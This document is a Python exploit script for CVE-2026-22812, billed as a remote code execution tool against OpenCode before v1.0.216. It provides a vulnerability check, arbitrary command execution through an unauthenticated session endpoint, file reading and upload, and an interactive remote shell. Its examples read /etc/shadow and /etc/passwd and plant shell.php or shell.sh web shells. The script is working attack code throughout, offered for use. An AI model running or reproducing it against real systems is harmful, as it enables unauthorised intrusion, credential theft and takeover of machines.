#!/usr/bin/env python3 import requests import argparse import sys import json import os import base64 import readline from typing import Optional, Dict, Any, List from urllib.parse import urlparse from datetime import datetime import urllib3 # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class Colors: """ANSI color codes""" RED = '\033[91m' GREEN = '\033[92m' YELLOW = '\033[93m' BLUE = '\033[94m' PURPLE = '\033[95m' CYAN = '\033[96m' BOLD = '\033[1m' UNDERLINE = '\033[4m' END = '\033[0m' def print_banner(): """Display the exploit banner""" banner = fr"""{Colors.RED}{Colors.BOLD} ██████╗ ██╗ ██╗██████╗ ██╗ █████╗ ██████╗██╗ ██╗ █████╗ ███████╗██╗ ██╗ ██╔═████╗╚██╗██╔╝██╔══██╗██║ ██╔══██╗██╔════╝██║ ██╔╝██╔══██╗██╔════╝██║ ██║ ██║██╔██║ ╚███╔╝ ██████╔╝██║ ███████║██║ █████╔╝ ███████║███████╗███████║ ████╔╝██║ ██╔██╗ ██╔══██╗██║ ██╔══██║██║ ██╔═██╗ ██╔══██║╚════██║██╔══██║ ╚██████╔╝██╔╝ ██╗██████╔╝███████╗██║ ██║╚██████╗██║ ██╗██║ ██║███████║██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ {Colors.END} {Colors.PURPLE}{Colors.BOLD}CVE-2026-22812 Exploitation Tool - OpenCode RCE < v1.0.216{Colors.END} {Colors.YELLOW}Author: Ashraf ZAryouh "0xBlackash{Colors.END} """ # Center and print banner for line in banner.split('\n'): print(f"{line.center(120)}") class Exploit: def __init__(self, target: str, timeout: int = 10, proxy: str = None): self.target = target.rstrip('/') self.timeout = timeout self.session = requests.Session() self.session_id = None # Headers self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36', 'Content-Type': 'application/json' }) # Proxy if proxy: self.session.proxies = { 'http': proxy, 'https': proxy } # Stats self.stats = { 'commands': 0, 'files_read': 0, 'files_written': 0, 'errors': 0 } def log(self, msg: str, level: str = "info"): """Log messages with color""" prefix = { 'info': f'{Colors.BLUE}[*]{Colors.END}', 'success': f'{Colors.GREEN}[+]{Colors.END}', 'error': f'{Colors.RED}[-]{Colors.END}', 'warn': f'{Colors.YELLOW}[!]{Colors.END}', 'debug': f'{Colors.CYAN}[.]{Colors.END}' } print(f"{prefix.get(level, '[?]')} {msg}") def check_vuln(self) -> bool: """Check if target is vulnerable""" try: self.log(f"Target: {self.target}", "info") self.log("Checking vulnerability...", "info") url = f"{self.target}/session" resp = self.session.post(url, json={}, timeout=self.timeout, verify=False) if resp.status_code == 200: try: data = resp.json() if 'id' in data: self.session_id = data['id'] self.log(f"VULNERABLE! Session: {self.session_id}", "success") return True except: pass self.log("Not vulnerable", "error") return False except Exception as e: self.log(f"Check failed: {e}", "error") return False def create_session(self) -> bool: """Create exploitation session""" try: url = f"{self.target}/session" resp = self.session.post(url, json={}, timeout=self.timeout, verify=False) if resp.status_code == 200: data = resp.json() self.session_id = data.get('id') if self.session_id: self.log(f"Session created: {self.session_id}", "success") return True return False except Exception as e: self.log(f"Session error: {e}", "error") return False def exec_cmd(self, cmd: str, silent: bool = False) -> Optional[Dict]: """Execute command on target""" if not self.session_id: if not self.create_session(): return None try: if not silent: self.log(f"Exec: {cmd}", "info") url = f"{self.target}/session/{self.session_id}/shell" payload = {"agent": "build", "command": cmd} resp = self.session.post(url, json=payload, timeout=self.timeout, verify=False) self.stats['commands'] += 1 if resp.status_code in [200, 201, 202]: if not silent: self.log("Command executed", "success") try: return resp.json() except: return {"output": resp.text} else: if not silent: self.log(f"HTTP {resp.status_code}", "error") self.stats['errors'] += 1 return None except Exception as e: if not silent: self.log(f"Exec error: {e}", "error") self.stats['errors'] += 1 return None def read_file(self, path: str) -> Optional[str]: """Read file from target""" try: self.log(f"Reading: {path}", "info") url = f"{self.target}/file/content" params = {"path": path} resp = self.session.get(url, params=params, timeout=self.timeout, verify=False) if resp.status_code == 200: self.stats['files_read'] += 1 self.log(f"Read {len(resp.text)} bytes", "success") return resp.text else: self.log(f"Failed: HTTP {resp.status_code}", "error") return None except Exception as e: self.log(f"Read error: {e}", "error") return None def write_file(self, path: str, content: str) -> bool: """Write file to target""" try: self.log(f"Writing: {path}", "info") encoded = base64.b64encode(content.encode()).decode() cmd = f"echo {encoded} | base64 -d > {path}" result = self.exec_cmd(cmd, silent=True) if result: verify = f"test -f {path} && echo OK" check = self.exec_cmd(verify, silent=True) if check and 'OK' in str(check): self.stats['files_written'] += 1 self.log("Write successful", "success") return True self.log("Write failed", "error") return False except Exception as e: self.log(f"Write error: {e}", "error") return False def upload(self, local: str, remote: str) -> bool: """Upload file to target""" try: if not os.path.exists(local): self.log(f"Local file missing: {local}", "error") return False self.log(f"Upload: {local} → {remote}", "info") with open(local, 'rb') as f: content = f.read() encoded = base64.b64encode(content).decode() if len(encoded) > 50000: self.log("Large file, chunking...", "warn") chunks = [encoded[i:i+50000] for i in range(0, len(encoded), 50000)] self.exec_cmd(f"rm -f {remote}", silent=True) for i, chunk in enumerate(chunks): cmd = f"echo {chunk} >> {remote}.b64" if not self.exec_cmd(cmd, silent=True): self.log(f"Chunk {i+1} failed", "error") return False decode = f"base64 -d {remote}.b64 > {remote} && rm {remote}.b64" self.exec_cmd(decode, silent=True) else: cmd = f"echo {encoded} | base64 -d > {remote}" self.exec_cmd(cmd, silent=True) # Verify check = f"ls -lh {remote}" result = self.exec_cmd(check, silent=True) if result: self.log("Upload complete", "success") return True return False except Exception as e: self.log(f"Upload error: {e}", "error") return False def download(self, remote: str, local: str) -> bool: """Download file from target""" try: self.log(f"Download: {remote} → {local}", "info") content = self.read_file(remote) if content: with open(local, 'w') as f: f.write(content) self.log(f"Downloaded {len(content)} bytes", "success") return True return False except Exception as e: self.log(f"Download error: {e}", "error") return False def get_info(self) -> Dict[str, str]: """Gather system information""" self.log("Collecting system info...", "info") info = {} commands = { 'hostname': 'hostname', 'user': 'whoami', 'id': 'id', 'pwd': 'pwd', 'uname': 'uname -a', 'os': 'cat /etc/os-release 2>/dev/null | head -5', 'ip': 'ip addr show 2>/dev/null | grep inet | head -5', 'ps': 'ps aux | head -10' } for key, cmd in commands.items(): result = self.exec_cmd(cmd, silent=True) if result: info[key] = str(result).strip() return info def shell(self): """Interactive shell""" if not self.session_id: if not self.create_session(): return print(f"\n{Colors.GREEN}{Colors.BOLD}[*] Interactive Shell{Colors.END}") print(f"{Colors.YELLOW}[!] Type 'help' for commands, 'exit' to quit{Colors.END}\n") # Get prompt info host_result = self.exec_cmd("hostname", silent=True) user_result = self.exec_cmd("whoami", silent=True) host = str(host_result).strip() if host_result else "target" user = str(user_result).strip() if user_result else "user" while True: try: prompt = f"{Colors.GREEN}{user}@{host}{Colors.END}$ " cmd = input(prompt).strip() if not cmd: continue if cmd.lower() == 'exit': self.log("Exiting shell...", "info") break elif cmd.lower() == 'help': self.show_help() continue elif cmd.startswith('read '): path = cmd[5:].strip() content = self.read_file(path) if content: print(content) continue elif cmd.startswith('download '): parts = cmd.split() if len(parts) == 3: self.download(parts[1], parts[2]) else: self.log("Usage: download ", "error") continue elif cmd.startswith('upload '): parts = cmd.split() if len(parts) == 3: self.upload(parts[1], parts[2]) else: self.log("Usage: upload ", "error") continue elif cmd == 'sysinfo': info = self.get_info() print(json.dumps(info, indent=2)) continue elif cmd == 'stats': self.show_stats() continue elif cmd == 'session': print(f"Session: {self.session_id}") continue # Execute command result = self.exec_cmd(cmd, silent=True) if result: output = result.get('output') or str(result) if output and output != '{}': print(output) except KeyboardInterrupt: print(f"\n{Colors.YELLOW}[!] Ctrl+C - Type 'exit' to quit{Colors.END}") except EOFError: break except Exception as e: self.log(f"Shell error: {e}", "error") def show_help(self): """Display shell help""" help_text = f""" {Colors.BOLD}Available Commands:{Colors.END} {Colors.CYAN}Shell:{Colors.END} Execute shell command help Show this help exit Exit shell session Show session ID stats Show statistics {Colors.CYAN}Files:{Colors.END} read Read file content download Download file upload Upload file {Colors.CYAN}System:{Colors.END} sysinfo Get system information {Colors.YELLOW}Examples:{Colors.END} ls -la cat /etc/passwd read /etc/shadow download /etc/hosts ./hosts.txt upload shell.php /tmp/shell.php """ print(help_text) def show_stats(self): """Show exploitation statistics""" print(f"\n{Colors.BOLD}Statistics:{Colors.END}") print(f" Commands: {self.stats['commands']}") print(f" Files read: {self.stats['files_read']}") print(f" Files written: {self.stats['files_written']}") print(f" Errors: {self.stats['errors']}\n") def main(): print_banner() parser = argparse.ArgumentParser( description='CVE-2026-22812 - OpenCode RCE Exploit', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=f""" {Colors.BOLD}Examples:{Colors.END} # Verify target python3 exploit.py -t http://10.0.0.1:4096 --check # Interactive shell python3 exploit.py -t http://10.0.0.1:4096 -i # Single command python3 exploit.py -t http://10.0.0.1:4096 -c "id" # Read file python3 exploit.py -t http://10.0.0.1:4096 -r /etc/passwd # Upload file python3 exploit.py -t http://10.0.0.1:4096 --upload shell.sh /tmp/shell.sh # Download file python3 exploit.py -t http://10.0.0.1:4096 --download /etc/shadow shadow.txt # System info python3 exploit.py -t http://10.0.0.1:4096 --info # With proxy python3 exploit.py -t http://10.0.0.1:4096 -c "whoami" --proxy http://127.0.0.1:8080 """ ) parser.add_argument('-t', '--target', required=True, help='Target URL (http://host:port)') action_group = parser.add_mutually_exclusive_group() action_group.add_argument('-c', '--command', help='Execute command') action_group.add_argument('-r', '--read', help='Read file') action_group.add_argument('-i', '--interactive', action='store_true', help='Interactive shell') action_group.add_argument('--info', action='store_true', help='Get system info') action_group.add_argument('--check', action='store_true', help='Check if vulnerable') parser.add_argument('--upload', nargs=2, metavar=('LOCAL', 'REMOTE'), help='Upload file') parser.add_argument('--download', nargs=2, metavar=('REMOTE', 'LOCAL'), help='Download file') parser.add_argument('--timeout', type=int, default=10, help='Timeout (default: 10)') parser.add_argument('--proxy', help='Proxy (http://ip:port)') args = parser.parse_args() try: exploit = Exploit( target=args.target, timeout=args.timeout, proxy=args.proxy ) # Check only if args.check or not any([args.command, args.read, args.interactive, args.info, args.upload, args.download]): if exploit.check_vuln(): sys.exit(0) else: sys.exit(1) # Create session for other actions if not exploit.create_session(): exploit.log("Failed to create session", "error") sys.exit(1) exploit.log(f"Session: {exploit.session_id}", "success") # Handle actions if args.interactive: exploit.shell() elif args.command: result = exploit.exec_cmd(args.command) if result: output = result.get('output') or str(result) print(f"\n{output}\n") elif args.read: content = exploit.read_file(args.read) if content: print(f"\n{content}\n") elif args.info: info = exploit.get_info() print(f"\n{Colors.BOLD}System Info:{Colors.END}") print(json.dumps(info, indent=2)) print() elif args.upload: exploit.upload(args.upload[0], args.upload[1]) elif args.download: exploit.download(args.download[0], args.download[1]) # Show stats if anything was done if exploit.stats['commands'] > 0 or exploit.stats['files_read'] > 0: exploit.show_stats() except KeyboardInterrupt: print(f"\n{Colors.YELLOW}[!] Interrupted{Colors.END}") sys.exit(130) except Exception as e: print(f"\n{Colors.RED}[-] Error: {e}{Colors.END}") sys.exit(1) if __name__ == "__main__": main()